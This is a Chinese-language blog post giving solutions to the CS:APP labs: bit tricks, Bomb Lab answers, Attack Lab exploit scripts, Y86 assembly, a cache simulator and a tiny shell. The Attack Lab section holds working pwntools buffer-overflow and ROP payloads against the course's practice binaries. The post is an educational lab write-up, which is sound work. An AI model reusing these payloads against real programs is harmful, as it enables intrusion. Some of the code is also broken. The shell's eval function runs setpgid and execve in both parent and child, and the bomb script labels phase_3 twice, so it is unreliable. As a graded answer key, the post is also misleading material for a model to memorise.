前言

记录一下 css app lab，下载地址

代码放在了 Github

Data Lab

bitXor

x ^ y = (~x & y) | (x & ~y)

题目限制我们仅使用 & ～，所以我们想办法代替 ｜ 即可。

1
2
3
int bitXor(int x, int y) {
  return ~(~(~x & y) & (~(x & ~y)));
}

tmin

以补码形式返回最小的整数。即：符号为是1，其余均为0。

1
2
3
int tmin(void) {
  return 0x1<<31;
}

isTmax

如果是最大的整数则返回1.

注意三个比较讨厌的数：

0x7fffffff：01111111111111111111111111111111
0xffffffff：11111111111111111111111111111111
0x80000000：10000000000000000000000000000000

1
2
3
int isTmax(int x) {
  return !((~x^(x+1)) | !(x+1));
}

allOddBits

判断所有奇数位是否都为1.

1
2
3
4
5
int allOddBits(int x) {
  int y = 0xaa + (0xaa<<8);
  y = y+ (y << 16);
  return !((y & x) ^ y);
}

思路：可以先自行构造出一个所有奇数位都为1的标准数，在进行比较。

negate

返回相反数，常识题。

1
2
3
int negate(int x) {
  return ~x+1;
}

isAsciiDigit

计算输入值是否是数字 0-9 的 ASCII 值。

思路：先观察0x30-0x39的二进制数有什么特点，发现0x30-0x3f之间的第4、5位均为1。假设 x 是 0 - 9 之间的一个数，！(x << 4 ^ 0x3) = 1，y = x + 0x6， ！(y << 4 ^ 0x3) = 1，确保这两个同时成立即可判断。

1
2
3
4
5
6
int isAsciiDigit(int x) {
  int y = x >> 4;
  x = x + 0x6;
  int z = x >> 4;
  return !(y ^ 0x3) & !(z ^ 0x3);
}

conditional

执行运算符 x ? y : z：当 x 不为 0 时，返回 y；否则返回 z。

1
2
3
4
int conditional(int x, int y, int z) {
  x = !x + ~0;
  return (y & x) | (z & ~x);
}

isLessOrEqual

判断 x <= y

参考

1
2
3
4
5
6
7
8
9
10
11
int isLessOrEqual(int x, int y) {
  int negX=~x+1;
  int addX=negX+y;
  int checkSign = addX>>31&1;
  int leftBit = 1<<31;
  int xLeft = x&leftBit;
  int yLeft = y&leftBit;
  int bitXor = xLeft ^ yLeft;
  bitXor = (bitXor>>31)&1;
  return ((!bitXor)&(!checkSign))|(bitXor&(xLeft>>31));
}

logicalNeg

实现 ！运算

1
2
3
int logicalNeg(int x) {
  return ((x|(~x+1))>>31)+1;
}

howManyBits

用二分法来判断。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int howManyBits(int x) {
  int b16,b8,b4,b2,b1,b0;
  int sign=x>>31;
  x = (sign&~x)|(~sign&x);
  b16 = !!(x>>16)<<4;
  x = x>>b16;//如果有（至少需要16位），则将原数右移16位
  b8 = !!(x>>8)<<3;//剩余位高8位是否有1
  x = x>>b8;//如果有（至少需要16+8=24位），则右移8位
  b4 = !!(x>>4)<<2;//同理
  x = x>>b4;
  b2 = !!(x>>2)<<1;
  x = x>>b2;
  b1 = !!(x>>1);
  x = x>>b1;
  b0 = x;
  return b16+b8+b4+b2+b1+b0+1;//+1表示加上符号位
}

Bomb Lab

其实有re、pwn基础，拆解还不算很困难。（还可以结合ida分析，不过个人感觉怼汇编理解会更好一些.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
context.log_level = "debug"

p = process("./bomb")

def db():
	gdb.attach(p)
#phase_1
p.sendline("Border relations with Canada have never been better.")

#phase_2
p.sendline("1 2 4 8 16 32")

#phase_3
p.sendline("1 311")

#phase_3
p.sendline("7 0")

#phase_4
p.sendline("YONUFG")
#db()

#phase_5
p.sendline("4 3 2 1 6 5")
p.interactive()

Attack Lab

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
import sys
context.log_level = "debug"

argv1 = sys.argv[1]
argv2 = sys.argv[2]
if argv1 == "part1" :
	p = process(argv=['./ctarget', "-q"])
elif argv1 == "part2":
	p = process(argv=['./rtarget', "-q"])

def db():
	gdb.attach(p)
def pwn1():
	#ROPgadget --binary ctarget --only "pop|ret"
	rdi_ret = 0x000000000040141b
	if argv2 == "level_1":
		p.sendline("a"*0x28+p64(0x4017c0))

	elif argv2 == "level_2":
		rdi_ret = 0x40141b
		payload = "a" *0x28 + p64(rdi_ret) + p64(0x59b997fa) + p64(0x4017ec)
		p.sendline(payload)

	elif argv2 == "level_3":
		payload = "a" *0x28 + p64(rdi_ret) + p64(0x5561dcb8) + p64(0x4018fa) + "0x59b997fa"
		p.sendline(payload)

def pwn2():
	#ROPgadget --binary rtarget --only "pop|ret"
	rdi_ret = 0x000000000040141b
	if argv2 == "level_2":
		payload = "a" *0x28 + p64(rdi_ret) + p64(0x59b997fa) + p64(0x4017ec) 
		p.sendline(payload)
	elif argv2 == "level_3":
		read_plt = 0x400D30
		main_addr = 0x4011AD
		payload = "a" * 0x28 + p64(rdi_ret) + p64(0x6054E4) + p64(0x4018fa)
		p.sendline(payload)

if argv1 == "part1":
	pwn1()
elif argv1 == "part2":
	pwn2()

p.interactive()

Arch Lab

$ sudo apt-get install bison flex

$ cd Arch_lab

$ tar xvf sim.tar

$ cd sim; make clean; make

Part A

根据examples.c给的三个函数，写出对应的y86-64 汇编代码。

csapp p252 给了示例代码，模仿即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#sum.ys
#Execution begins at address 0
	.pos 0
	irmovq stack, %rsp    # set up stack pointer
	call main             # Execute main program
	halt				  # Terminate program


# Sample linked list
	.align 8
ele1:
	.quad 0x00a
	.quad ele2
ele2:
	.quad 0x0b0
	.quad ele3
ele3:
	.quad 0xc00
	.quad 0

main:
	irmovq ele1, %rdi
	call sum_list         # sum_list(list_ptr ls)
	ret

sum_list:
	xorq %rax, %rax       # val = 0
	jmp loop1             # goto loop1

loop:
	mrmovq 0(%rdi),%rsi   # get ls->val
	addq %rsi, %rax       # val += ls->val
	mrmovq 8(%rdi),%rsi   # get ls->next
	rrmovq %rsi,%rdi	  # ls = ls->next

loop1:
	andq %rdi, %rdi       # and $rdi
	jne loop              # if != 0 goto loop
	ret
	
#Stack starts here and grows to lower addresses
	.pos 0x200
stack:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#rsum.ys
#Execution begins at address 0
	.pos 0
	irmovq stack, %rsp    # set up stack pointer
	call main             # Execute main program
	halt				  # Terminate program


# Sample linked list
	.align 8
ele1:
	.quad 0x00a
	.quad ele2
ele2:
	.quad 0x0b0
	.quad ele3
ele3:
	.quad 0xc00
	.quad 0

main:
	irmovq ele1, %rdi
	call rsum_list         # rsum_list(list_ptr ls)
	ret

rsum_list:
	pushq %r12
	xorq %rax, %rax        # val = 0
	andq %rdi, %rdi        
	je return              # if == 0 goto return
	mrmovq 0(%rdi), %r12   # get ls->val
	mrmovq 8(%rdi), %rdi   # get ls->next
	call rsum_list         # call rsum_list
	addq %r12, %rax        # val + rest
return:
	popq %r12
	ret
	
#Stack starts here and grows to lower addresses
	.pos 0x200
stack:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#rsum.ys
#Execution begins at address 0
	.pos 0
	irmovq stack, %rsp    # set up stack pointer
	call main             # Execute main program
	halt				  # Terminate program


# Sample linked list
	.align 8
src:
	.quad 0x00a
	.quad 0x0b0
	.quad 0xc00
# Destination block
dest:
	.quad 0x111
	.quad 0x222
	.quad 0x333

main:
	irmovq src, %rdi
	irmovq dest, %rsi
	irmovq $3, %rdx
	call copy_block         # copy_block(long *src, long *dest, long len)
	ret

copy_block:
	irmovq $1, %r13
	irmovq $8, %r14
	xorq %rax, %rax        # result = 0
	jmp loop1

loop:
	mrmovq 0(%rdi), %r12
	addq %r14, %rdi
	rmmovq %r12, (%rsi)
	addq %r14, %rsi
	xorq %r12, %rax
	subq %r13, %rdx
loop1:
	andq %rdx, %rdx
	jg loop
	ret

#Stack starts here and grows to lower addresses
	.pos 0x200
stack:

PartB

按照 iaddq 的属性在 sim/seq/seq-full.hcl 中特定的位置添加 “IIADDQ” 即可

Cache Lab

推荐阅读：

https://www.bilibili.com/video/BV1rE41127Re?p=41

Part A

在csim.c中写一个Cache，使用LRU替换策略。我们目的就是实现一个功能和csim-ref一样的程序。其实预至的csim-ref是没有脱符号表的…

Cache结构

数据访问：

  • L：Load，数据载入，可能发生1次miss
  • S：Store，可能发生1次miss
  • M：store后再load，两次访存。1 miss & 1 hit + 可能eviction
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
#include "cachelab.h"
#include <stdio.h>
#include <getopt.h>
#include <stdlib.h>
#include <unistd.h> 
#include <string.h>
#include <math.h>
#include <errno.h>

typedef struct {
	char valid_bit;
	unsigned long tag;
	int LRU_count;
} Cache_line;

typedef struct {
	Cache_line* lines;
} Cache_set;

typedef struct {
	int S;
	int E;
	Cache_set* sets;
} Cache;

int hit_count=0, miss_count=0,eviction_count=0;
/*
	s -- the number of sets
	E -- the number of cache lines in one set
	b -- the size of one block in one cache line
*/
void printUsage(char* argv[]);  //print the help messages
void initCache(int s, int E, int b, Cache* cache); //init caches
void freeCache(Cache* cache); //free caches
int getHitIndex(Cache *cache, int setIndex, int tag); // if hit return the index of memory
int getEmptyIndex(Cache *cache, int setIndex, int tag); // if there is any empty memort return it's index
void load(Cache *cache, int setIndex, int tag, int verbosity); //load 
void store(Cache *cache, int setIndex, int tag, int verbosity); //store
void modify(Cache *cache, int setIndex, int tag, int verbosity); //modify: once store and once load 
void replayTrace(int s, int E, int b, char* buf, int verbosity, Cache* cache);

int main(int argc, char *argv[])
{
	int s, E, b;
	char buf[100];   //store the name of the file
	int verbosity = 0;
	Cache cache;
	char ch;
	while ((ch = getopt(argc, argv, "vs:E:b:t:")) != -1) {
		switch (ch) {
			case 'v':
				verbosity = 1;
				break;
			case 's':
				s = atoi(optarg);
				break;
			case 'E':
				E = atoi(optarg);
				break;
			case 'b':
				b = atoi(optarg);
				break;
			case 'h':
				printUsage(argv);
				break;
			case 't':
				strcpy(buf, optarg);//copy the address of trace to file
				break;
			default:
				break;
		}
	}
	if ( !s || !E || !b ) {
		printf("%s: Missing required command line argument\n", *argv);
		printUsage(argv);
	}
	initCache(s, E, b, &cache);
	replayTrace(s, E, b, buf, verbosity, &cache);
	freeCache(&cache);
	printSummary(hit_count, miss_count, eviction_count);
	return 0;
}

void printUsage(char* argv[]) {
	printf("Usage: %s [-hv] -s <num> -E <num> -b <num> -t <file>\n", *argv);
	puts("Options:");
	puts("  -h         Print this help message.");
	puts("  -v         Optional verbose flag.");
	puts("  -s <num>   Number of set index bits.");
	puts("  -E <num>   Number of lines per set.");
	puts("  -b <num>   Number of block offset bits.");
	puts("  -t <file>  Trace file.");
	puts("\nExamples:");
	printf("  linux>  %s -s 4 -E 1 -b 4 -t traces/yi.trace\n", *argv);
	printf("  linux>  %s -v -s 8 -E 2 -b 4 -t traces/yi.trace\n", *argv);
	exit(0);
}

void initCache(int s, int E, int b, Cache* cache) 
{
	cache->S = pow(2.0, s); // get the sets
	cache->E = E;
	cache->sets = (Cache_set*)malloc(cache->S * sizeof(Cache_set));

	int i, j;
	for (i = 0; i < cache->S; i++) {//init every cache line
		cache->sets[i].lines = (Cache_line*)malloc(E * sizeof(Cache_line));
		for (j = 0; j < cache->E; j++) 
		{//init every cache line
			cache->sets[i].lines[j].valid_bit = 0;
			cache->sets[i].lines[j].LRU_count = 0;
		}
	}
	return;
}

void freeCache(Cache* cache) {
	for (int i = 0; i < cache->S; i++) {//init every cache line
		free(cache->sets[i].lines); 
		cache->sets[i].lines = 0;
	}
	free(cache->sets);
	cache->sets = 0;
}
int getHitIndex(Cache *cache, int setIndex, int tag){ //whether there is a hit
    int hitIndex = -1;
    for (int i = 0; i < cache->E; i++) {
        if (cache->sets[setIndex].lines[i].valid_bit == 1 && cache->sets[setIndex].lines[i].tag == tag){ // valid and the tag matches
            hitIndex = i;
            break;
        }
    }
    return hitIndex;
}

int getEmptyIndex(Cache *cache, int setIndex, int tag){//find whether there is an empty line in the given set
    int i;
    int emptyIndex = -1;
    for (i = 0; i < cache->E; ++i) {
        if (cache->sets[setIndex].lines[i].valid_bit == 0) {
            emptyIndex = i;
            break;
        }
    }
    return emptyIndex;
}
void load(Cache *cache, int setIndex, int tag, int verbosity) {
	int hitIndex = getHitIndex(cache, setIndex, tag);//whether there is a hit
    if (hitIndex == -1) { //one miss
        miss_count++;
        if (verbosity) {
            printf("miss ");
        } 
        int emptyIndex = getEmptyIndex(cache, setIndex, tag);     
        if (emptyIndex == -1) {//need eviction 
            eviction_count++;
            if (verbosity){
                printf("eviction ");
            }
			int flag = 1;
            for (int i = 0; i < cache->E; i++){
                if (cache->sets[setIndex].lines[i].LRU_count == cache->E - 1 && flag==1){ //find the least recent used line, and other line LRU_count++
                    cache->sets[setIndex].lines[i].valid_bit = 1;
                    cache->sets[setIndex].lines[i].LRU_count = 0;
                    cache->sets[setIndex].lines[i].tag = tag;
                    flag = 0;
                } 
				else{
                    cache->sets[setIndex].lines[i].LRU_count++;//it is not used this time
                }
            }
        }
		else {  // don't need eviction
            for (int i = 0; i < cache->E; i++) {
                if (i != emptyIndex){
                    cache->sets[setIndex].lines[i].LRU_count++;//it is not used this time
                } 
				else {
                    cache->sets[setIndex].lines[i].valid_bit = 1;
                    cache->sets[setIndex].lines[i].tag = tag;
                    cache->sets[setIndex].lines[i].LRU_count = 0;
                }
            }
        }
    } 
	else {//one hit                        
        hit_count++;
        if (verbosity){
            printf("hit ");
        }
        int tempLRU_count = cache->sets[setIndex].lines[hitIndex].LRU_count;
        for (int i = 0; i < cache->E; i++) {
            if (i != hitIndex) {
                if (cache->sets[setIndex].lines[i].LRU_count <  tempLRU_count) {//less than the hit one's LRU
                    cache->sets[setIndex].lines[i].LRU_count++;
                }
            } 
			else {
                cache->sets[setIndex].lines[i].LRU_count = 0;// the hit one's LRU is set to zero
            }
        }
    }
}

void store(Cache *cache, int setIndex, int tag, int verbosity) {//store is just like a load
    load(cache, setIndex, tag, verbosity);
}



void modify(Cache *cache, int setIndex, int tag, int verbosity) {// a write is just like one load then one store
    load(cache, setIndex, tag, verbosity);
    store(cache, setIndex, tag, verbosity);
}

void replayTrace(int s, int E, int b, char* buf, int verbosity, Cache* cache) {
	FILE *file;                        // pointer to FILE object 
	file = fopen(buf, "r");
	char type;                          // L-load S-store M-modify 
	unsigned long address;              // 64-bit  memory address 
	int size;                           //number of bytes accessed by operation 

	int tag_move_bits = b + s;

	while (fscanf(file, " %c %lx,%d", &type, &address, &size) > 0) {//for every line in the file
		if (type == 'I') {
			continue;//if it is an instruction, do nothing
		}
		else {
			int tag = address >> tag_move_bits;//get the tag
			int setIndex = (address >> b) & ((1 << s) - 1);//get the index
			if (verbosity == 1) {//print detailed info
				printf("%c %lx,%d ", type, address, size);
			}
			if (type == 'S') {
				store(cache, setIndex, tag, verbosity);
			}
			if (type == 'M') {
				modify(cache, setIndex, tag, verbosity);
			}
			if (type== 'L') {
				load(cache, setIndex, tag, verbosity);
			}
			if (verbosity == 1) {
				printf("\n");
			}
		}
	}
	fclose(file);
	return;
}

Part B

首先要明确，尽管矩阵的转置本身导致对于A矩阵（原始矩阵）的读和B矩阵（转置矩阵）的写不可能同时为连续的（即不可能同时存在连续读和连续写——对A矩阵行的连续读必然导致对B矩阵列的非连续写）。
但只要矩阵的大小小于缓存的总大小，那么在理想的情况下，在最初的强制不命中（即缓存为空导致的不命中）后，整个矩阵都会被加载进入缓存。在这之后的所有对于B矩阵的不连续写的引用都会命中。

在该实验中，缓存采用的是直接映射高速缓存，s = 5，b = 5，E = 1。对于该缓存，总共存在32个组，每个组共32个字节，可以装入8个int型变量，是非常有限的缓存，主要需要解决以下两个问题：

  1. 直接映射缓存所带来的冲突不命中。观察程序中矩阵存储的位置即可以发现，矩阵A和矩阵B的同一行实际上被映射到了同一个缓存组。当进行对角线的引用时，一定会发生缓存的冲突不命中。需要仔细地处理对角线上的元素。
  2. 所需优化的矩阵的总大小超出了缓存的总大小。必然导致程序的访存效率低下。

代码见GitHub。

参考：

https://blog.codedragon.tech/2017/09/25/%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%B3%BB%E7%BB%9FCacheLab-PartB%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/

Shell Lab

任务：

  • eval: 主要功能是解析cmdline，并且运行. [70 lines]

  • builtin cmd: 辨识和解析出bulidin命令: quit, fg, bg, and jobs. [25lines]

  • do bgfg: 实现bg和fg命令. [50 lines]

  • waitfg: 实现等待前台程序运行结束. [20 lines]

  • sigchld handler: 响应SIGCHLD. 80 lines]

  • sigint handler: 响应 SIGINT (ctrl-c) 信号. [15 lines]

  • sigtstp handler: 响应 SIGTSTP (ctrl-z) 信号. [15 lines]

给出的函数：

  • int parseline(const char *cmdline,char **argv)：获取参数列表char **argv，返回是否为后台运行命令（true）。
  • void clearjob(struct job_t *job)：清除job结构。
  • void initjobs(struct job_t *jobs)：初始化jobs链表。
  • void maxjid(struct job_t *jobs)：返回jobs链表中最大的jid号。
  • int addjob(struct job_t *jobs,pid_t pid,int state,char *cmdline)：在jobs链表中添加job
  • int deletejob(struct job_t *jobs,pid_t pid)：在jobs链表中删除pid的job。
  • pid_t fgpid(struct job_t *jobs)：返回当前前台运行job的pid号。
  • struct job_t *getjobpid(struct job_t *jobs,pid_t pid)：返回pid号的job。
  • struct job_t *getjobjid(struct job_t *jobs,int jid)：返回jid号的job。
  • int pid2jid(pid_t pid)：将pid号转化为jid。
  • void listjobs(struct job_t *jobs)：打印jobs。
  • void sigquit_handler(int sig)：处理SIGQUIT信号。

tsh应有的内置命令：

  • quit: 退出当前shell
  • jobs: 列出所有后台运行的工作
  • bg : 这个命令将会向代表的工作发送SIGCONT信号并放在后台运行，可以是一个PID也可以是一个JID（job ID）。
  • fg : 这个命令会向代表的工作发送SIGCONT信号并放在前台运行，可以是一个PID也可以是一个JID

信号阻塞：

执行信号的处理动作成为信号递达（Delivery），信号从产生到递达之间的状态称为信号未决(Pending)。进程可以选择阻塞(Block)某个信号。
被阻塞的信号产生时将保持在未决状态，直到进程解除对此信号的阻塞，才执行递达的动作
注意：阻塞和忽略是不同的，只要信号被阻塞就不会递达，而忽略是在递达之后可选的一种处理动作
信号不会丢失，如果信号被阻塞，只会保持信号未决，但是信号不丢失

对用户输入的参数进行解析并运行计算。书上已经给了 demo，我们优化一下即可。

有以下几点需要注意：

  • SIGCHLD信号：只要有一个子进程终止或者停止，内核就会发送一个 SIGHLD信号给父进程。
  • 信号是不排队的。如果返回信号时，发现目的进程正在执行信号处理，那么该信号则会被阻塞，下一个则会被丢弃。因此，不能用信号来对其他进程中发生的事件计数。
  • 条件竞争：条件竞争是指一个系统的运行结果依赖于不受控制的事件的先后顺序。本例情况是，如果在父进程能够再次运行之前，子进程终止，返回信号，而此时父进程还没执行 addjob，而信号处理回收子进程，执行 deletejob，由于还没添加到列表，所以这个函数什么都做不了，而这结束后父进程又会添加子进程，而产生一个永远不会被删除的job。

代码参考tshref 源码：

https://github.com/hestati63/CS230-SP/blob/67bf24d0a7f7b18e1472eaf369c6449dbf7d8d48/Assignment5/tsh.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
void eval(char *cmdline) {
    char *argv[MAXARGS]; /* Argument list execve() */
    char buf[MAXLINE];   /* Holds modified command line */
    int bg;              /* Should the job run in bg or fg? */
    pid_t pid;           /* Process id */
    int state = UNDEF;
    sigset_t mask_all, mask_one, prev_one;

    strcpy(buf, cmdline);
    bg = parseline(buf, argv); //解析命令
    if(bg == 1) { //判断是否在后台
        state = BG;
    }
    else {
        state = FG;  
    }   
    if (argv[0] == NULL)  { return; }   /* Ignore empty lines */

    sigfillset(&mask_all); //防止竞争
    sigemptyset(&mask_one);
    sigaddset(&mask_one, SIGCHLD); // ignore the SIGHLD
    sigprocmask(SIG_BLOCK, &mask_one, &prev_one); //block SIGHLD and save previous blocked set
    if (!builtin_cmd(argv)) {  //如果不是内置命令
        if ((pid = fork()) == 0) {
        sigprocmask(SIG_UNBLOCK, &prev_one, NULL); //Restore previous blocked set, unblocking SIGHLD
        }
        if (setpgid(0, 0) < 0) { // change the group id into pid
            perror("SETPGID ERROR");
            exit(0);
        }
        if (execve(argv[0], argv, environ) < 0) {
            printf("%s: Command not found.\n", argv[0]);
            exit(0);
        }
    }
    sigprocmask(SIG_BLOCK, &mask_all, NULL);
    addjob(jobs, pid, state, cmdline);  //add job
    sigprocmask(SIG_UNBLOCK, &prev_one, NULL);
    if(state == FG) { // if FG wait until finsihed else just print message
        waitfg(pid);  //等待前台程序执行
    }
    else{
        printf("[%d] (%d) %s", pid2jid(pid), pid, cmdline);
    }
    return;
}

int builtin_cmd(char **argv) { // 如果是内置命令则直接执行
    if (!strcmp(argv[0], "quit")) {
        exit(0);
    }
    else if (!strcmp(argv[0], "jobs")) {
        listjobs(jobs); //print the jobs
    }
    else if (!strcmp(argv[0], "fg") || !strcmp(argv[0], "bg")) {
        do_bgfg(argv);
    }
    else {
        return 0;
    }
    return 1;     /* not a builtin command */
}

void do_bgfg(char **argv) 
{
    int parsed;
    struct job_t *job;
    // case no argument
    if(!argv[1]){
        printf("%s command requires PID or %%jobid argument\n", argv[0]);
        return ;
    }

    // parse argument，其中%开头的数字是JobID，纯数字的是PID
    if(argv[1][0] == '%'){
        if(!sscanf(&argv[1][1], "%d",&parsed)){
            printf("%s: argument must be a PID or %%jobid\n",argv[0]);
            return;
        }
        if((job = getjobjid(jobs, parsed)) == NULL){
            printf("%%%d: No such job\n", parsed);
            return;
        }
    } else {
        if(!sscanf(argv[1], "%d",&parsed)){
            printf("%s: argument must be a PID or %%jobid\n",argv[0]);
            return;
        }
        if((job = getjobpid(jobs, parsed)) == NULL){
            printf("(%d): No such process\n", parsed);
            return;
        }
    }

    if(!strcmp(argv[0], "bg")) {
        // make state BG
        job->state = BG;
        // send SIGCONT
        if(kill(-job->pid, SIGCONT) < 0)
            unix_error("kill error");
        printf("[%d] (%d) %s", job->jid, job->pid, job->cmdline);
    } else if(!strcmp(argv[0], "fg")) {
        job->state = FG;
        // send SIGCONT
        if(kill(-job->pid, SIGCONT) < 0)
            unix_error("kill error");
        // wait until finish
        waitfg(job->pid);
    } else {
        puts("do_bgfg: Internal error");
        exit(0);
    }
    return;
}

void waitfg(pid_t pid) { //等待子进程结束
    struct job_t *job = getjobpid(jobs, pid);
    if(!job) return;

    // while there is no FG process sleep
    while(job->state == FG)
        sleep(1);

    // verbose message
    if(verbose)
        printf("waitfg: Process (%d) no longer the fg process\n", pid);

    return;
}

void sigchld_handler(int sig) {
    int status, jid;
    pid_t pid;
    struct job_t *job;

    if(verbose)
        puts("sigchld_handler: entering");

    // waitpid to find pid
    while((pid = waitpid(-1, &status, WNOHANG | WUNTRACED)) > 0){

        // if job deleted 
        if((job = getjobpid(jobs, pid)) == NULL){
            printf("Lost track of (%d)\n", pid);
            return;
        }

        jid = job->jid;
        // stop signal
        if(WIFSTOPPED(status)){
            printf("Job [%d] (%d) stopped by signal %d\n", jid, job->pid, WSTOPSIG(status));
            job->state = ST;
        }
        // exit
        else if(WIFEXITED(status)){
            if(deletejob(jobs, pid))
                if(verbose){
                    printf("sigchld_handler: Job [%d] (%d) deleted\n", jid, pid);
                    printf("sigchld_handler: Job [%d] (%d) terminates OK (status %d)\n", jid, pid, WEXITSTATUS(status));
                }
        }
        // exit by signal
        else {
                if(deletejob(jobs, pid)){
                    if(verbose)
                        printf("sigchld_handler: Job [%d] (%d) deleted\n", jid, pid);
                }
                printf("Job [%d] (%d) terminated by signal %d\n", jid, pid, WTERMSIG(status));
            }
        }

    // end handler
    if(verbose)
        puts("sigchld_handler: exiting");

    return;
}

/* 
 * sigint_handler - The kernel sends a SIGINT to the shell whenver the
 *    user types ctrl-c at the keyboard.  Catch it and send it along
 *    to the foreground job.  
 */
void sigint_handler(int sig) {
    pid_t pid = fgpid(jobs);
    if(verbose)
        puts("sigint_handler: entering");
    
    // if fg exists send SIGINT，// 发送SIGINT给前台进程组里的所有进程，包括子进程。
    if(pid){
        if(kill(-pid, SIGINT) < 0)
            unix_error("kill (sigint) error");
        if(verbose){
            printf("sigint_handler: Job (%d) killed\n", pid);
        }
    }

    // end handler
    if(verbose)
        puts("sigint_handler: exiting");

    return;
}

/*
 * sigtstp_handler - The kernel sends a SIGTSTP to the shell whenever
 *     the user types ctrl-z at the keyboard. Catch it and suspend the
 *     foreground job by sending it a SIGTSTP.  
 */
void sigtstp_handler(int sig) {
    pid_t pid = fgpid(jobs);
    struct job_t *job = getjobpid(jobs, pid);

    if(verbose)
        puts("sigstp_handler: entering");

    // if fg exists then send SIGSTP to job
    if(pid){
        if(kill(-pid, SIGTSTP) < 0)
            unix_error("kill (tstp) error");
        if(verbose){
            printf("sigstp_handler: Job [%d] (%d) stopped\n", job->jid, pid);
        }
    }

    // end handler
    if(verbose)
        puts("sigstp_handler: exiting");

    return;
}

Malloc Lab

先占个坑

Proxy Lab

+1